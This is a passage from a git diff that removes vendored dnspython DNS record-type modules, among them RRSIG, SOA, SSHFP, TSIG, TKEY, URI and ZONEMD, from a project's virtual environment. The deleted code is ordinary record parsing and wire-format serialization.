RRSIG(dns.rdata.Rdata): - """RRSIG record""" - - __slots__ = [ - "type_covered", - "algorithm", - "labels", - "original_ttl", - "expiration", - "inception", - "key_tag", - "signer", - "signature", - ] - - def __init__( - self, - rdclass, - rdtype, - type_covered, - algorithm, - labels, - original_ttl, - expiration, - inception, - key_tag, - signer, - signature, - ): - super().__init__(rdclass, rdtype) - self.type_covered = self._as_rdatatype(type_covered) - self.algorithm = dns.dnssectypes.Algorithm.make(algorithm) - self.labels = self._as_uint8(labels) - self.original_ttl = self._as_ttl(original_ttl) - self.expiration = self._as_uint32(expiration) - self.inception = self._as_uint32(inception) - self.key_tag = self._as_uint16(key_tag) - self.signer = self._as_name(signer) - self.signature = self._as_bytes(signature) - - def covers(self): - return self.type_covered - - def to_text(self, origin=None, relativize=True, **kw): - return ( - f"{dns.rdatatype.to_text(self.type_covered)} " - f"{self.algorithm} {self.labels} {self.original_ttl} " - f"{posixtime_to_sigtime(self.expiration)} " - f"{posixtime_to_sigtime(self.inception)} " - f"{self.key_tag} " - f"{self.signer.choose_relativity(origin, relativize)} " - f"{dns.rdata._base64ify(self.signature, **kw)}" # pyright: ignore - ) - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - type_covered = dns.rdatatype.from_text(tok.get_string()) - algorithm = dns.dnssectypes.Algorithm.from_text(tok.get_string()) - labels = tok.get_int() - original_ttl = tok.get_ttl() - expiration = sigtime_to_posixtime(tok.get_string()) - inception = sigtime_to_posixtime(tok.get_string()) - key_tag = tok.get_int() - signer = tok.get_name(origin, relativize, relativize_to) - b64 = tok.concatenate_remaining_identifiers().encode() - signature = base64.b64decode(b64) - return cls( - rdclass, - rdtype, - type_covered, - algorithm, - labels, - original_ttl, - expiration, - inception, - key_tag, - signer, - signature, - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack( - "!HBBIIIH", - self.type_covered, - self.algorithm, - self.labels, - self.original_ttl, - self.expiration, - self.inception, - self.key_tag, - ) - file.write(header) - self.signer.to_wire(file, None, origin, canonicalize) - file.write(self.signature) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("!HBBIIIH") - signer = parser.get_name(origin) - signature = parser.get_remaining() - return cls(rdclass, rdtype, *header, signer, signature) # pyright: ignore diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/RT.py b/venv/Lib/site-packages/dns/rdtypes/ANY/RT.py deleted file mode 100644 index 5a4d45cf1229d89dec78fcf979e0bdde8b5132f5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/RT.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.mxbase - - -@dns.immutable.immutable -class RT(dns.rdtypes.mxbase.UncompressedDowncasingMX): - """RT record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/SMIMEA.py b/venv/Lib/site-packages/dns/rdtypes/ANY/SMIMEA.py deleted file mode 100644 index 55d87bf85cbe9d9f98bfddf53e2646db789742ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/SMIMEA.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import dns.immutable -import dns.rdtypes.tlsabase - - -@dns.immutable.immutable -class SMIMEA(dns.rdtypes.tlsabase.TLSABase): - """SMIMEA record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/SOA.py b/venv/Lib/site-packages/dns/rdtypes/ANY/SOA.py deleted file mode 100644 index 3c7cd8c92ea21ad6a9d185bb25286348e538a742..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/SOA.py +++ /dev/null @@ -1,78 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata - - -@dns.immutable.immutable -class SOA(dns.rdata.Rdata): - """SOA record""" - - # see: RFC 1035 - - __slots__ = ["mname", "rname", "serial", "refresh", "retry", "expire", "minimum"] - - def __init__( - self, rdclass, rdtype, mname, rname, serial, refresh, retry, expire, minimum - ): - super().__init__(rdclass, rdtype) - self.mname = self._as_name(mname) - self.rname = self._as_name(rname) - self.serial = self._as_uint32(serial) - self.refresh = self._as_ttl(refresh) - self.retry = self._as_ttl(retry) - self.expire = self._as_ttl(expire) - self.minimum = self._as_ttl(minimum) - - def to_text(self, origin=None, relativize=True, **kw): - mname = self.mname.choose_relativity(origin, relativize) - rname = self.rname.choose_relativity(origin, relativize) - return f"{mname} {rname} {self.serial} {self.refresh} {self.retry} {self.expire} {self.minimum}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - mname = tok.get_name(origin, relativize, relativize_to) - rname = tok.get_name(origin, relativize, relativize_to) - serial = tok.get_uint32() - refresh = tok.get_ttl() - retry = tok.get_ttl() - expire = tok.get_ttl() - minimum = tok.get_ttl() - return cls( - rdclass, rdtype, mname, rname, serial, refresh, retry, expire, minimum - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.mname.to_wire(file, compress, origin, canonicalize) - self.rname.to_wire(file, compress, origin, canonicalize) - five_ints = struct.pack( - "!IIIII", self.serial, self.refresh, self.retry, self.expire, self.minimum - ) - file.write(five_ints) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - mname = parser.get_name(origin) - rname = parser.get_name(origin) - return cls(rdclass, rdtype, mname, rname, *parser.get_struct("!IIIII")) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/SPF.py b/venv/Lib/site-packages/dns/rdtypes/ANY/SPF.py deleted file mode 100644 index 1df3b7055799edf4e15b2c90c735a3b69a5c8de5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/SPF.py +++ /dev/null @@ -1,26 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2006, 2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class SPF(dns.rdtypes.txtbase.TXTBase): - """SPF record""" - - # see: RFC 4408 diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/SSHFP.py b/venv/Lib/site-packages/dns/rdtypes/ANY/SSHFP.py deleted file mode 100644 index 3f08f3a594c2b594276ec1fcb9e296e4adce5acb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/SSHFP.py +++ /dev/null @@ -1,67 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2005-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import binascii -import struct - -import dns.immutable -import dns.rdata -import dns.rdatatype - - -@dns.immutable.immutable -class SSHFP(dns.rdata.Rdata): - """SSHFP record""" - - # See RFC 4255 - - __slots__ = ["algorithm", "fp_type", "fingerprint"] - - def __init__(self, rdclass, rdtype, algorithm, fp_type, fingerprint): - super().__init__(rdclass, rdtype) - self.algorithm = self._as_uint8(algorithm) - self.fp_type = self._as_uint8(fp_type) - self.fingerprint = self._as_bytes(fingerprint, True) - - def to_text(self, origin=None, relativize=True, **kw): - kw = kw.copy() - chunksize = kw.pop("chunksize", 128) - fingerprint = dns.rdata._hexify( - self.fingerprint, chunksize=chunksize, **kw # pyright: ignore - ) - return f"{self.algorithm} {self.fp_type} {fingerprint}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_uint8() - fp_type = tok.get_uint8() - fingerprint = tok.concatenate_remaining_identifiers().encode() - fingerprint = binascii.unhexlify(fingerprint) - return cls(rdclass, rdtype, algorithm, fp_type, fingerprint) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!BB", self.algorithm, self.fp_type) - file.write(header) - file.write(self.fingerprint) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - header = parser.get_struct("BB") - fingerprint = parser.get_remaining() - return cls(rdclass, rdtype, header[0], header[1], fingerprint) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/TKEY.py b/venv/Lib/site-packages/dns/rdtypes/ANY/TKEY.py deleted file mode 100644 index f9189b16c1ddda48d2184dad20a2fa1335576b8e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/TKEY.py +++ /dev/null @@ -1,135 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2004-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import struct - -import dns.exception -import dns.immutable -import dns.rdata - - -@dns.immutable.immutable -class TKEY(dns.rdata.Rdata): - """TKEY Record""" - - __slots__ = [ - "algorithm", - "inception", - "expiration", - "mode", - "error", - "key", - "other", - ] - - def __init__( - self, - rdclass, - rdtype, - algorithm, - inception, - expiration, - mode, - error, - key, - other=b"", - ): - super().__init__(rdclass, rdtype) - self.algorithm = self._as_name(algorithm) - self.inception = self._as_uint32(inception) - self.expiration = self._as_uint32(expiration) - self.mode = self._as_uint16(mode) - self.error = self._as_uint16(error) - self.key = self._as_bytes(key) - self.other = self._as_bytes(other) - - def to_text(self, origin=None, relativize=True, **kw): - _algorithm = self.algorithm.choose_relativity(origin, relativize) - key = dns.rdata._base64ify(self.key, 0) - other = "" - if len(self.other) > 0: - other = " " + dns.rdata._base64ify(self.other, 0) - return f"{_algorithm} {self.inception} {self.expiration} {self.mode} {self.error} {key}{other}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_name(relativize=False) - inception = tok.get_uint32() - expiration = tok.get_uint32() - mode = tok.get_uint16() - error = tok.get_uint16() - key_b64 = tok.get_string().encode() - key = base64.b64decode(key_b64) - other_b64 = tok.concatenate_remaining_identifiers(True).encode() - other = base64.b64decode(other_b64) - - return cls( - rdclass, rdtype, algorithm, inception, expiration, mode, error, key, other - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.algorithm.to_wire(file, compress, origin) - file.write( - struct.pack("!IIHH", self.inception, self.expiration, self.mode, self.error) - ) - file.write(struct.pack("!H", len(self.key))) - file.write(self.key) - file.write(struct.pack("!H", len(self.other))) - if len(self.other) > 0: - file.write(self.other) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - algorithm = parser.get_name(origin) - inception, expiration, mode, error = parser.get_struct("!IIHH") - key = parser.get_counted_bytes(2) - other = parser.get_counted_bytes(2) - - return cls( - rdclass, rdtype, algorithm, inception, expiration, mode, error, key, other - ) - - # Constants for the mode field - from RFC 2930: - # 2.5 The Mode Field - # - # The mode field specifies the general scheme for key agreement or - # the purpose of the TKEY DNS message. Servers and resolvers - # supporting this specification MUST implement the Diffie-Hellman key - # agreement mode and the key deletion mode for queries. All other - # modes are OPTIONAL. A server supporting TKEY that receives a TKEY - # request with a mode it does not support returns the BADMODE error. - # The following values of the Mode octet are defined, available, or - # reserved: - # - # Value Description - # ----- ----------- - # 0 - reserved, see section 7 - # 1 server assignment - # 2 Diffie-Hellman exchange - # 3 GSS-API negotiation - # 4 resolver assignment - # 5 key deletion - # 6-65534 - available, see section 7 - # 65535 - reserved, see section 7 - SERVER_ASSIGNMENT = 1 - DIFFIE_HELLMAN_EXCHANGE = 2 - GSSAPI_NEGOTIATION = 3 - RESOLVER_ASSIGNMENT = 4 - KEY_DELETION = 5 diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/TLSA.py b/venv/Lib/site-packages/dns/rdtypes/ANY/TLSA.py deleted file mode 100644 index 4dffc5534c9a218f82552acc572d06d346a6b07e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/TLSA.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import dns.immutable -import dns.rdtypes.tlsabase - - -@dns.immutable.immutable -class TLSA(dns.rdtypes.tlsabase.TLSABase): - """TLSA record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/TSIG.py b/venv/Lib/site-packages/dns/rdtypes/ANY/TSIG.py deleted file mode 100644 index 794238264db85d48629d16a651776bdaca0409b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/TSIG.py +++ /dev/null @@ -1,160 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import base64 -import struct - -import dns.exception -import dns.immutable -import dns.rcode -import dns.rdata - - -@dns.immutable.immutable -class TSIG(dns.rdata.Rdata): - """TSIG record""" - - __slots__ = [ - "algorithm", - "time_signed", - "fudge", - "mac", - "original_id", - "error", - "other", - ] - - def __init__( - self, - rdclass, - rdtype, - algorithm, - time_signed, - fudge, - mac, - original_id, - error, - other, - ): - """Initialize a TSIG rdata. - - *rdclass*, an ``int`` is the rdataclass of the Rdata. - - *rdtype*, an ``int`` is the rdatatype of the Rdata. - - *algorithm*, a ``dns.name.Name``. - - *time_signed*, an ``int``. - - *fudge*, an ``int`. - - *mac*, a ``bytes`` - - *original_id*, an ``int`` - - *error*, an ``int`` - - *other*, a ``bytes`` - """ - - super().__init__(rdclass, rdtype) - self.algorithm = self._as_name(algorithm) - self.time_signed = self._as_uint48(time_signed) - self.fudge = self._as_uint16(fudge) - self.mac = self._as_bytes(mac) - self.original_id = self._as_uint16(original_id) - self.error = dns.rcode.Rcode.make(error) - self.other = self._as_bytes(other) - - def to_text(self, origin=None, relativize=True, **kw): - algorithm = self.algorithm.choose_relativity(origin, relativize) - error = dns.rcode.to_text(self.error, True) - text = ( - f"{algorithm} {self.time_signed} {self.fudge} " - + f"{len(self.mac)} {dns.rdata._base64ify(self.mac, 0)} " - + f"{self.original_id} {error} {len(self.other)}" - ) - if self.other: - text += f" {dns.rdata._base64ify(self.other, 0)}" - return text - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - algorithm = tok.get_name(relativize=False) - time_signed = tok.get_uint48() - fudge = tok.get_uint16() - mac_len = tok.get_uint16() - mac = base64.b64decode(tok.get_string()) - if len(mac) != mac_len: - raise SyntaxError("invalid MAC") - original_id = tok.get_uint16() - error = dns.rcode.from_text(tok.get_string()) - other_len = tok.get_uint16() - if other_len > 0: - other = base64.b64decode(tok.get_string()) - if len(other) != other_len: - raise SyntaxError("invalid other data") - else: - other = b"" - return cls( - rdclass, - rdtype, - algorithm, - time_signed, - fudge, - mac, - original_id, - error, - other, - ) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - self.algorithm.to_wire(file, None, origin, False) - file.write( - struct.pack( - "!HIHH", - (self.time_signed >> 32) & 0xFFFF, - self.time_signed & 0xFFFFFFFF, - self.fudge, - len(self.mac), - ) - ) - file.write(self.mac) - file.write(struct.pack("!HHH", self.original_id, self.error, len(self.other))) - file.write(self.other) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - algorithm = parser.get_name() - time_signed = parser.get_uint48() - fudge = parser.get_uint16() - mac = parser.get_counted_bytes(2) - (original_id, error) = parser.get_struct("!HH") - other = parser.get_counted_bytes(2) - return cls( - rdclass, - rdtype, - algorithm, - time_signed, - fudge, - mac, - original_id, - error, - other, - ) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/TXT.py b/venv/Lib/site-packages/dns/rdtypes/ANY/TXT.py deleted file mode 100644 index 6d4dae27add2bc505e4e89578b8963438a6d1e74..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/TXT.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class TXT(dns.rdtypes.txtbase.TXTBase): - """TXT record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/URI.py b/venv/Lib/site-packages/dns/rdtypes/ANY/URI.py deleted file mode 100644 index 021391d68d9808178af0440e8f38762d04c5ea8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/URI.py +++ /dev/null @@ -1,79 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# Copyright (C) 2015 Red Hat, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.name -import dns.rdata -import dns.rdtypes.util - - -@dns.immutable.immutable -class URI(dns.rdata.Rdata): - """URI record""" - - # see RFC 7553 - - __slots__ = ["priority", "weight", "target"] - - def __init__(self, rdclass, rdtype, priority, weight, target): - super().__init__(rdclass, rdtype) - self.priority = self._as_uint16(priority) - self.weight = self._as_uint16(weight) - self.target = self._as_bytes(target, True) - if len(self.target) == 0: - raise dns.exception.SyntaxError("URI target cannot be empty") - - def to_text(self, origin=None, relativize=True, **kw): - return f'{self.priority} {self.weight} "{self.target.decode()}"' - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - priority = tok.get_uint16() - weight = tok.get_uint16() - target = tok.get().unescape() - if not (target.is_quoted_string() or target.is_identifier()): - raise dns.exception.SyntaxError("URI target must be a string") - return cls(rdclass, rdtype, priority, weight, target.value) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - two_ints = struct.pack("!HH", self.priority, self.weight) - file.write(two_ints) - file.write(self.target) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - (priority, weight) = parser.get_struct("!HH") - target = parser.get_remaining() - if len(target) == 0: - raise dns.exception.FormError("URI target may not be empty") - return cls(rdclass, rdtype, priority, weight, target) - - def _processing_priority(self): - return self.priority - - def _processing_weight(self): - return self.weight - - @classmethod - def _processing_order(cls, iterable): - return dns.rdtypes.util.weighted_processing_order(iterable) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/WALLET.py b/venv/Lib/site-packages/dns/rdtypes/ANY/WALLET.py deleted file mode 100644 index ff4647632bdf1418d515c58afb37e8a071ef042a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/WALLET.py +++ /dev/null @@ -1,9 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import dns.immutable -import dns.rdtypes.txtbase - - -@dns.immutable.immutable -class WALLET(dns.rdtypes.txtbase.TXTBase): - """WALLET record""" diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/X25.py b/venv/Lib/site-packages/dns/rdtypes/ANY/X25.py deleted file mode 100644 index 2436ddb62ec23d52a69c092e1194b599618681f8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/X25.py +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import struct - -import dns.exception -import dns.immutable -import dns.rdata -import dns.tokenizer - - -@dns.immutable.immutable -class X25(dns.rdata.Rdata): - """X25 record""" - - # see RFC 1183 - - __slots__ = ["address"] - - def __init__(self, rdclass, rdtype, address): - super().__init__(rdclass, rdtype) - self.address = self._as_bytes(address, True, 255) - - def to_text(self, origin=None, relativize=True, **kw): - return f'"{dns.rdata._escapify(self.address)}"' - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - address = tok.get_string() - return cls(rdclass, rdtype, address) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - l = len(self.address) - assert l < 256 - file.write(struct.pack("!B", l)) - file.write(self.address) - - @classmethod - def from_wire_parser(cls, rdclass, rdtype, parser, origin=None): - address = parser.get_counted_bytes() - return cls(rdclass, rdtype, address) diff --git a/venv/Lib/site-packages/dns/rdtypes/ANY/ZONEMD.py b/venv/Lib/site-packages/dns/rdtypes/ANY/ZONEMD.py deleted file mode 100644 index acef4f277eaaf86ecf9fb56d87a62a007da35aab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/rdtypes/ANY/ZONEMD.py +++ /dev/null @@ -1,64 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import binascii -import struct - -import dns.immutable -import dns.rdata -import dns.rdatatype -import dns.zonetypes - - -@dns.immutable.immutable -class ZONEMD(dns.rdata.Rdata): - """ZONEMD record""" - - # See RFC 8976 - - __slots__ = ["serial", "scheme", "hash_algorithm", "digest"] - - def __init__(self, rdclass, rdtype, serial, scheme, hash_algorithm, digest): - super().__init__(rdclass, rdtype) - self.serial = self._as_uint32(serial) - self.scheme = dns.zonetypes.DigestScheme.make(scheme) - self.hash_algorithm = dns.zonetypes.DigestHashAlgorithm.make(hash_algorithm) - self.digest = self._as_bytes(digest) - - if self.scheme == 0: # reserved, RFC 8976 Sec. 5.2 - raise ValueError("scheme 0 is reserved") - if self.hash_algorithm == 0: # reserved, RFC 8976 Sec. 5.3 - raise ValueError("hash_algorithm 0 is reserved") - - hasher = dns.zonetypes._digest_hashers.get(self.hash_algorithm) - if hasher and hasher().digest_size != len(self.digest): - raise ValueError("digest length inconsistent with hash algorithm") - - def to_text(self, origin=None, relativize=True, **kw): - kw = kw.copy() - chunksize = kw.pop("chunksize", 128) - digest = dns.rdata._hexify( - self.digest, chunksize=chunksize, **kw # pyright: ignore - ) - return f"{self.serial} {self.scheme} {self.hash_algorithm} {digest}" - - @classmethod - def from_text( - cls, rdclass, rdtype, tok, origin=None, relativize=True, relativize_to=None - ): - serial = tok.get_uint32() - scheme = tok.get_uint8() - hash_algorithm = tok.get_uint8() - digest = tok.concatenate_remaining_identifiers().encode() - digest = binascii.unhexlify(digest) - return cls(rdclass, rdtype, serial, scheme, hash_algorithm, digest) - - def _to_wire(self, file, compress=None, origin=None, canonicalize=False): - header = struct.pack("!IBB", self.serial, self.scheme, self.hash_algorithm) - file.write(header) - file.write(self.digest) - - @classmethod - def 